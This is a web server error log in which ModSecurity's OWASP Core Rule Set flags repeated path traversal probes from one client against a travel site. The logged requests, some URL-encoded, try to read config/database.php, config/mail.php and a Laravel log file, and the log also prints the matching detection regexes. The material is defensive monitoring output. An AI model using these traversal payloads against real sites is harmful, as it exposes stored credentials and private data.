[Fri Jul 17 08:55:07.234520 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTEAAAAAM"]
[Fri Jul 17 08:55:07.234569 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../config/database.php&token=SjGzYWd7aaWE_bvsm1ECobC6BifJ45dZagk37l-fRHt0I_8MzrPfNdnphZ_mZBFC-jieDynLto2LmmjV6RGok-Vd9AUeF-yGh6HGMt_A3QwUfI9G-OYnMzbnVC8JJcEsaItW66wxfEfjnzb4kMzB2W5SpJTXgWrXk1w7wkDgHMerQc9PNBXPY1rOJsB7CLzudej5XRVuEx3xjWImG9DrZ7XphVwwkU4qFCvQAy8nLUr4qX7VwOkaB-VOZk4HjA4L151dsJdMJbCIeu9gSr9Dkj3a&anything=ERDLWYIKQZWQGF6DIER6FCO5TU3ZWWP2LIRDPI3O2UCPEWMPYZMOYP7PEIVU37KNZFR5CJISVFWKE7RWRQGGBRZBNM4SYO3KS2Y2Q6XL3U2VMPAV5E5YHTQ3367SQ2ZRYUCBYM5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTEAAAAAM"]
[Fri Jul 17 08:55:07.234607 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../config/database.php&token=sjgzywd7aawe_bvsm1ecobc6bifj45dzagk37l-frht0i_8mzrpfndnphz_mzbfc-jiedynlto2lmmjv6rgok-vd9auef-ygh6hgmt_a3qwufi9g-oynmzbnvc8jjcesaitw66wxfefjnzb4kmzb2w5spjtxgwrxk1w7wkdghmerqc9pnbxpy1rojsb7clzudej5xrvuex3xjwimg9drz7xphvwwku4qfcvqay8nlur4qx7vwokab-vozk4hja4l151dsjdmjbcieu9gsr9dkj3a&anything=erdlwyikqzwqgf6dier6fco5tu3zwwp2lirdpi3o2ucpewmpyzmoyp7peivu37knzfr5cjisvfwke7rwrqggbrzbnm4syo3ks2y2q6xl3u2vmpav5e5yhtq3367sq2zryucbym5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTEAAAAAM"]
[Fri Jul 17 08:55:07.234639 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTEAAAAAM"]
[Fri Jul 17 08:55:07.234658 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTEAAAAAM"]
[Fri Jul 17 08:55:07.234723 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:show: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTEAAAAAM"]
[Fri Jul 17 08:55:07.235883 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTEAAAAAM"]
[Fri Jul 17 08:55:07.246403 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?show=..%2F..%2Fconfig%2Fmail.php&sid=EZPRoes9hoXlYFuty5gBiNcT95MKfECNUZ1BNAEGDYp7PPPt_zaAaqaon_SwtJBPjOlvJ5Ve_ezauOlpRb0Xrnc4g0OX5W5b7DjSiKPWRg_RY1YK7rLdBOFjnNtqmSTjlMeUAr7qksyduWZca2amj3g5pS2hiL11vCTpxF9iqML-F3Hs2OcEHPwgx6lEPJGl54zwCFZCmqP-D68PwKJ77ST5y06JsegLx9Y571IcmPdqS5SPq0gMRR5nqu3hkwUOqq9kQcUWemKllPLbQ2XXvMnB&ref=ZZFAMNXPDEX6YX7R7AJRTJOQH4FRVHEUWR4XQ7OU4MUAZIFK2KZCWXREMZP7YIEZ2YD3AL5HW6YS7RRHDJ4FKH6CFQST4JU7XS2TB4W67S6CBHW4CBQRFBDBNNXCB6LKVMWW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYwAAABI"]
[Fri Jul 17 08:55:07.246458 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYwAAABI"]
[Fri Jul 17 08:55:07.246508 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../config/mail.php&sid=EZPRoes9hoXlYFuty5gBiNcT95MKfECNUZ1BNAEGDYp7PPPt_zaAaqaon_SwtJBPjOlvJ5Ve_ezauOlpRb0Xrnc4g0OX5W5b7DjSiKPWRg_RY1YK7rLdBOFjnNtqmSTjlMeUAr7qksyduWZca2amj3g5pS2hiL11vCTpxF9iqML-F3Hs2OcEHPwgx6lEPJGl54zwCFZCmqP-D68PwKJ77ST5y06JsegLx9Y571IcmPdqS5SPq0gMRR5nqu3hkwUOqq9kQcUWemKllPLbQ2XXvMnB&ref=ZZFAMNXPDEX6YX7R7AJRTJOQH4FRVHEUWR4XQ7OU4MUAZIFK2KZCWXREMZP7YIEZ2YD3AL5HW6YS7RRHDJ4FKH6CFQST4JU7XS2TB4W67S6CBHW4CBQRFBDBNNXCB6LKVMWWQ6ESI6WG5ZJ3HX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYwAAABI"]
[Fri Jul 17 08:55:07.246539 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../config/mail.php&sid=ezproes9hoxlyfuty5gbinct95mkfecnuz1bnaegdyp7pppt_zaaaqaon_swtjbpjolvj5ve_ezauolprb0xrnc4g0ox5w5b7djsikpwrg_ry1yk7rldbofjnntqmstjlmeuar7qksyduwzca2amj3g5ps2hil11vctpxf9iqml-f3hs2ocehpwgx6lepjgl54zwcfzcmqp-d68pwkj77st5y06jseglx9y571icmpdqs5spq0gmrr5nqu3hkwuoqq9kqcuwemkllplbq2xxvmnb&ref=zzfamnxpdex6yx7r7ajrtjoqh4frvheuwr4xq7ou4muazifk2kzcwxremzp7yiez2yd3al5hw6ys7rrhdj4fkh6cfqst4ju7xs2tb4w67s6cbhw4cbqrfbdbnnxcb6lkvmwwq6esi6wg5zj3hx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYwAAABI"]
[Fri Jul 17 08:55:07.246572 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYwAAABI"]
[Fri Jul 17 08:55:07.246594 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYwAAABI"]
[Fri Jul 17 08:55:07.247828 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYwAAABI"]
[Fri Jul 17 08:55:07.247986 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.248410 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUYwAAABI"]
[Fri Jul 17 08:55:07.264760 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26QAAACM"]
[Fri Jul 17 08:55:07.264810 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26QAAACM"]
[Fri Jul 17 08:55:07.266017 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26QAAACM"]
[Fri Jul 17 08:55:07.266190 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.266549 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt26QAAACM"]
[Fri Jul 17 08:55:07.271249 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26gAAACM"]
[Fri Jul 17 08:55:07.271297 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26gAAACM"]
[Fri Jul 17 08:55:07.272487 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26gAAACM"]
[Fri Jul 17 08:55:07.272640 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.272962 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt26gAAACM"]
[Fri Jul 17 08:55:07.278532 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?src=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&ts=l9wvjEvfgKHNwHg3LHTDToEVZuF4V_KZLOvkUuW77tdiJPgspKSpC4fvxdc--gYPlVFnnpXsp20eOX1PHHEHBKPCjbspO5T43ITm5CXEhiW2whSPiNpBYMlRyDvyege7LdEF2PV4-CaHJxsO3ZkHquttAS5saUf8xwM4yMmwbulwLMDs9W2bqaXCx9rIHOhXV3J-urCPlZxy4YkqKapaKIpXnk4vLaLZBoxzB3p5Ijp4yCZt757nnfqpAqxyyZ9wA4HrzTvz5nFk4dqXrLxEren7&ref=EB4BMNY7ODFMNLGOJ6JKZHJPAH2TV2PU4ZSVTRTSNPOGSQSZ4COI4N7NCCFBS4TGNOIPJOKP4JBWNBXOXWWC6JAJ6EF7DBR2Q5DVVVK5HFE2QLX2HQJT2X..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26wAAACM"]
[Fri Jul 17 08:55:07.278581 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26wAAACM"]
[Fri Jul 17 08:55:07.278651 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../../storage/logs/laravel.log&ts=l9wvjEvfgKHNwHg3LHTDToEVZuF4V_KZLOvkUuW77tdiJPgspKSpC4fvxdc--gYPlVFnnpXsp20eOX1PHHEHBKPCjbspO5T43ITm5CXEhiW2whSPiNpBYMlRyDvyege7LdEF2PV4-CaHJxsO3ZkHquttAS5saUf8xwM4yMmwbulwLMDs9W2bqaXCx9rIHOhXV3J-urCPlZxy4YkqKapaKIpXnk4vLaLZBoxzB3p5Ijp4yCZt757nnfqpAqxyyZ9wA4HrzTvz5nFk4dqXrLxEren7&ref=EB4BMNY7ODFMNLGOJ6JKZHJPAH2TV2PU4ZSVTRTSNPOGSQSZ4COI4N7NCCFBS4TGNOIPJOKP4JBWNBXOXWWC6JAJ6EF7DBR2Q5DVVVK5HFE2QLX2HQJT2X2SCM5D2K2TCIGE26XC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26wAAACM"]
